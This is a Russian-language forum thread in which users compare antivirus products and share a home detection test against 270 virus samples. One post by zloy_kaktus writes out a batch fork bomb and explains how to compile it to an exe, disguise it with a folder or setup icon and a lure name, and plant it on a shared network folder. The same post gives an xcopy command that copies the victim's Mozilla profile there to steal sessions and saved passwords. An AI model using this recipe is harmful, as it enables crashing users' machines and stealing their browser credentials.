Тесты Антивирусных программ

[Last_king]

Сообщение от Slava Last_king, так ты про бесплатную авиру?

Нет, я про платную IS, на которую уже второй год акция 3 месяца проходит
Было бы так на Anti-Malware, я бы поэкспериментировал

[Slava]

Last_king, ясно, я и не уговариваю менять антивирус, тут дело каждого, просто я делюсь информацией и впечатлениями, сам так же на авире сидел пару лет... кончатся очередные 3 месяца, потестируй Anti-Malware, они 30 дней дают, так же у них тоже есть предложения как заработать ключ на халяву... за привлечения 1 пользователя на триал, лецензия продлевается на 1 месяц, если купят по твоей ссылке 6 месяцев.

Пока впечатления только положительные, могу с уверенностью сказать, что для меня это лучший антивирус из тех что я пробовал... единственное виндусовый помощник безопасности его за антивирус не считает, так же пришлось контроль за антивирусом отключить, но он в принципе и не нужен, Anti-Malware дает о себе знать, первый день конечно в режиме обучения провел, так что жена даже сказала что за параноика я поставил, что на ее любимый вконтакт 10 вопросов задал, запомнил несколько правил и успокоилась

Я еще полное сканирование Anti-Malware не делал, интересно выципит он что нибудь на компе после Авиры, Икаруса и АВГ... уж очень зацепило сравнение, когда лично архив с вирями распаковывал...

[Jon]

Last_king,Slava, " На Дед Мороза надейся, а сам не плошай" !
Нас три человека в теме, озабоченных безопасностью своего компа.
Неужели ни кто больше не хочет поделится опытом и мнением?

[Last_king]

Сообщение от Jon Нас три человека в теме, озабоченных безопасностью своего компа. Неужели ни кто больше не хочет поделится опытом и мнением?

Думается мне, что мы трое кроме своих домашних компов еще и много чужих реанимируем. Причем чужие реанимируем гораздо чаще, чем ловим вирусы на своих

[FuKakoi!]

Осенью покупал ноут и думал прикупить к нему коробочку KIS, но отговорил товарищ, сказав, что встроенного брандмауэра+ МС Ессеншал хватит за глаза... В общем к этой связке претензий нет.

[Slava]

FuKakoi!, это тест? Сколько уже на такой системе? Пробовал из безопасного режима сканить другим сканером, к примеру DrWeb CureIt? я тоже так всем говорю, если винда лицуха, только при этом делаю настройки на отдельную ограниченную учетку и UAC не отключаю, юзеры работают с ограниченными правами, в том, что настроено и установлено... хоть вирусов и хватают, но многие ничего серьезного в системе из-за недостатка прав не могут поменять...

[zloy_kaktus]

у меня опыт большой в этом просто я молчун))
мне кажется.., легче человеку объяснить как вирусы попадают... и что это такое... процентов на 80 у него увеличится защита автоматом... правда это не защитит его от сетевых червей но тогда можно объяснить зачем нужно обновлять саму операционную систему... объяснить как определять нормальные сайты от скопление вирусов...
А так.., любой антивирус пропускает...
У меня тесть постоянно лазает в ХХХ и качают всякую фигню... примерно 2 раза в месяц из бекапа акроникса всего локального диска С (система) откатывал назад... так как комп заражался баннерами или просто вирусами... притом что ставил я разные антивирусы... пробовал даже KIS + родительский контроль + Anti-Malware... это не помогало... я поставил быстрый легкий антивирус NOD 32 без сетевой защиты... и как не странно на нем держалась система дольше... + я научил как восстанавливать систему из бекапа... и теперь он меня не тревожит...

[Slava]

что тут говорить, кому что удобно, но тема какой ЗащитнеГ больше ловит, все же интересная..

по Anti-Malware 2-й день полет нормальный, скан нашел на компе 5 небезопасных файлов, два из которых были кейгенами... три лежали в архиве варезным софтом - притом года так 2 (ни один антивирус до этого их не забраковал) , грохнул не раздумывая. Вчера столкнулся с тем, что не смог ничего с популярных файлообменников типа литтитбитов, оказывается прога даже их фильтрует, поставил в настройах для варезных файлообменников - спрашивать =) Вообще система много что контролирует, особенно в купе с Online Armor, но по мере серфинга и использования прог на все создаю правила... это немного напрягает,и в некоторых моментах прога кажется параноиком, хотя я в настройка даже и не пробовал включать Параноидальный режим (да, да , там такой еще есть )...

[zloy_kaktus]

Справится ли антивирус с такой задачей...
логическая бамбой вот такой например

:battlefox
start cmd
goto battlefox

Если запихать в BAT и просто запустить... не думаю что какой то антивирус заблокирует это.., а ведь это приведет к зависанию компа
А если теперь bat перекомпилировать в exe (таких программ миллион, можно набрать в поисковике “bat to exe”) поменять иконку на иконку папку или на иконку setup (такие программы тоже есть)
Теперь идем на \\swap.sampo.ru\swap\incoming
кидаем .exe файл с иконкой папки называем «порно»
Или кидаем exe файл с иконкой sutup называем «взлом контакта»
А если вместо логической бомбы поставить туда например xcopy %APPDATA% \Mozilla \\swap.sampo.ru\swap\incoming (если даже пароли не сохранены то авторизированный сеансf сольется например авторизация на battle и можно будет продолжить пользоваться сеансом если заменить скопированную папку Mozilla на свою, а если сохранены пароли то настройки - защита - показать пароли)
Это я так по быстрому не задумываясь пишу… а так можно все более не заметнее сделать… все карты никто не расскрывает
минусы
У жертвы может быть включен режим когда видно окончание .exe (с этим можно справится)
Параноидальный режим антивируса может спросить запускать ли exe (с этим можно справится)
Сетевой сканер может не разрешить копирование… но раз пользователь уже знает о \\swap.sampo.ru\swap\incoming то скорее всего доверенная зона

[Slava]

zloy_kaktus, известный факт, что 100% защиты нет, все же тема немного о другом...я тут больше веду речь о сканировании вирусов и шпионов, какая из прог больше ловит и какая это умеет делать на лету, не дожидаясь ручного сканирования, конечно твой батник скорее всего не будет обнаружен, но его еще нужно запустить, да и многие батники на самом деле ловятся...

а ты сам что используешь? по какому принципу выбирал? Как тестил?

Оффтоп

Оффтоп

-вручную такой не скомпилированный бат меня не заставишь запустить, перед запуском необходимые батники открываю и смотрю, код, а скомпилированный скорре всего будет пойман... чисто из за самих упаковщиков... - у меня данные мозилы не в %APPDATA%, кэш и куки чистятся, пароли самой лисой не сохраняются, а хранятся в зашифрованном виде под паролем на другом сервисе... - расширения файлов видно - взломы контактов и порно не страдаю - если при серфинге защита предупредит (а Anti-Malware предупредит! ) о запуске проги, которую не запускал, заблокирую... - проги теперь с варезников не качаю, только с оф сайтов, а с варезников беру только ключи... кейгены и кряки стараюсь не юзать, и если что предварительно юзаю в виртуалке... - виндовсы ставлю только оригинальные, кряками не активирую... .... и т.д и т.п. фиха в том, что даже зная все нюансы без сканера не обойтись, никогда не знаешь, что и откуда прилетит

и конечно, я согласен с тем, что от опыта юзера и знаний некоторых моментов многое зависит...

[zloy_kaktus]

Почти всю жизнь использовал касперский потом KIS... но последние версии сильно топорят систему... искал другую антивирусную перепробовал почти все... остановился на NOD 32 сетевая защита по критериям производительность и нет проблем с лекарством... поставил и забыл... потом перешел на nod32 без сетевой защиты так как появился роутер... сейчас около года вообще нет антивируса... проверяю если есть подозрения CureIt... и так же стоит но не активен и выключен...
Malwarebytes' Anti-Malware при подозрении включаю защиту проверяю комп...
При этом всем я понимаю что когда-нибудь я попадусь точно...

Хочу заметить даже если иметь супер защищенный систему... то все равно вы не в безопасности... так как можно проснифеть сеть подключившись к маршрутизатору или быть соседом... и еще могут поломать ДНС сервер или его узлы... последнее что приходит на память... это когда при заходи на сайт касперского заходилось на другой сайт... посылались пакеты на узел перед сайтом касперского таким образом что узел слал на другой сайт хотя в браузере был вбит адрес касперского... если например перебросить на фишинговый сайт то можно увести учетные данные... хотя если использовать сервис в облаке который авторизует тебя на других сайтах, то можно защитится... а сколько было случаев когда ломался официальный сайт с софтом... и встраивали трояны в софт... и когда качаешь с оф. сайта то антивирусу разрешаешь выполнения при установки... или когда ты например играешь в фермера... а владелец сервиса продает программу злоумышленникам... и ты качая новую версию качаешь трояна...

[Slava]

zloy_kaktus, я тоже активно юзал каспера с оутпостом в комплекте, потом оутпост стал тормозить, стал юзать KIS c 7-й версии по 9-ю, сейчас это что то с чем-то, настройки спрятаны, какие то тормоза при обучении... куча не нужных информативных окон... да и сканер не из лучших... авиру заюзал, так как, пока не было роутера, она единственная смогла решить одну мою сетевую проблемку, точнее не она, а ее фаерволл... так и привык к ней, сейчас вдохновленный тестами сканеров, да и ключик на авиру кончился, очередные пол года пролетели... решил попробовать что то новое... посмотрим смогу ли я приручить этого "параноика" но с процессами он хорошо работает ничего не тормозит...

отключения антивируса, как и вируса, прибавляет производительности компу... По сути антивирус в плане урона производительности, это тот же вирус, тоже за чем то следит, что то перехватывает, что то кудато шлет правда при этом питается другими вирусами конечно винду можно настроить на безопасную работу и без антивирусов, но производители прог и игр об этом не задумываются и их код очень часто требует административных привелегий... так что приходится искать золотую середину, если бы не эти игры, давно бы уже в Линукс убег...

[Slava]

Обещанные тесты сканеров различных антивирусов.

Условия: винда семерка домашняя расширенная 32-х битная, со всеми последними обновами, ничего не твикалось и не отключалось, UAC не отключал, устанавливал антивирус с настройками по умолчанию, скачивал свежие обновления баз, потом распаковывал архив с 270-ю вирусами, открывал папку с вирусами, смотрел сколько антивирус поймает, потом еще раз сканировал папку с распакованными вирусами сканером антивируса.

С ручным сканером у NOD32 какой то косяк, почему то он оставшиеся вирусы находит, но по умолчанию не удаляети не предлагает их удалить, так что хоть я и отнял найденные им вирусы, удалял я их практически вручную.

в DrWeb CureIt перед сканированием изменил настройку лечить инфицированные файлы, на удалять... некоторые антивирусы, наверное тоже пытались файлы лечить, так что погрешность небольшая присутствует, так как после сканера в папке с вирусами мог остаться уже вылеченный файл, но если во время тестирования выскакивали вопросы, что делать с файлами я жал удалять.



1.jpg

[Last_king]

Вот это уже больше похоже на правду
Avira порадовала однако
Если Anti-Malware не приживется, то можно смело на нее возвращаться.

[Slava]

Last_king, на чью правду похоже? на эти тесты я пол дня потратил сегодня и конечно это минимум анализа, всего лишь сканеры, без учета, сколько времени затратил тот или иной сканер и как себя вел в системе, сколько оперативы ел, как ее загружал, интерфейс, я не пробовал оставшиеся вирусы запускать и т.п.

Но даже по моим тестам Авира в реальном времени отловила всего 61% вирусов из архива оставив 79 вредоносных фалов прямо на рабочем столе, а ее бесплатный аналог всего половину, а как часто вы сканируете папки на вирусы вручную? Для меня левая табличка с эф. в реальном времени не менее значительна. Если емсисофт не приживется, можно же все одно оставить его бесплатную версию, не держать ее в автозапуске , а использовать для ручного сканирования, а для отлова в реальном времени юзать, к примеру ESET SS он на целых 3% впереди авиры или если нет тормозов COMODO...

для пущей уверенности нужно будет как то продолжить тесты, пощупать поведение защиты при запуске вирусов, которые не попали под сканер и посмотреть при каком антивирусе система выживет чтобы не терять кучу времени попробую для начала сравнить только авиру и емисофт...

[Last_king]

Сообщение от Slava Если емисофт не приживется, можно же все одно оставить его бесплатную версию

Я об этом и говорю. К тому же бесплатная версия эмисофта спокойно живет одновременно с другим антивирусом (так пишут на форумах). Посему можно поставить основным антивирусом Авиру, а для дополнительного отлова зловредов продукт от эмисофт.
То о чем говорил я относилось в основном к наиболее распространенным антивирусным продуктам типа Нод32, касперыча и веба Тут Авира себя показывает очень даже хорошо.

[Jon]

Slava, странно конечно, не могу сказать точно сколько я юзаю COMODO на работе(тестовой тачке,но больше полу года) но не разу не замечал тормозов в работе компа или самого продукта. Как проявлялось?
Спрашиваю не в оправдание продукта, хочется просто узнать.
P.S.И конфиг не особо бодрый там Прескот 3.06 ,2 гигтара ОЗУ, ну и винт сатовик(да ещё и с замазанными бэдами).

Emisoft интересный продукт, тоже наверное попробую поюзать на работе. А потом если что поставлю на свой PC.
Слав, если будет ещё что написать о Эми милости прошу рассказывать нам ... оки? )))

[Slava]

Jon, а тем и проявляются, что при установленном COMODO при запуске некоторых прог и установке новых, комп ведет себя ощутимо на глаз тормознее чем без него с ним комп временами как бы подвисает, где с авирой или Anti-Malware этого не происходит... жена говорила, что у нее даже какие то приложения вконтакте тормознее работали... примерно так же себя и касперычи последние ведут. Не только от компа это зависит, еще и от активности юзера в сети и с различным софтом, может быть для рабочего офисного компа и сойдет, у нас на работе вообще др веб стоит, некоторые хвалят, а у нас офис удаленно от сервера стоит, так куча тормозов...

[Esty]

Попробовала Emsisoft Internet Security Pack: да, антивирус шустрый, тихий, незаметный. Лишь пару раз что-то сказал про подозрительные файлы, нашёл кейгены при полной проверке, которые так и не увидел MSE.
Насчёт их фаервола довольно-таки странный осадок остался: вроде бы и хорош (есть сканер реального времени, который показывает какие процессы/программы ползают в интернете и приблизительно где). Как и положено паникует на всё то, что ему неизвестно. А вот минус его - после его установки очень часто просто стала падать сеть, т.е. не открыть ни один сайт, упала скорость загрузки ОС, контекстное меню в трее в виде кроказабря из-за кодировки (может потому что у меня Win7 x64 EN).

[Kletska]

Сообщение от Esty А вот минус его - после его установки очень часто просто стала падать сеть, т.е. не открыть ни один сайт...

Пожалуй соглашусь - у меня сайты порой раза со второго, третьего открываются.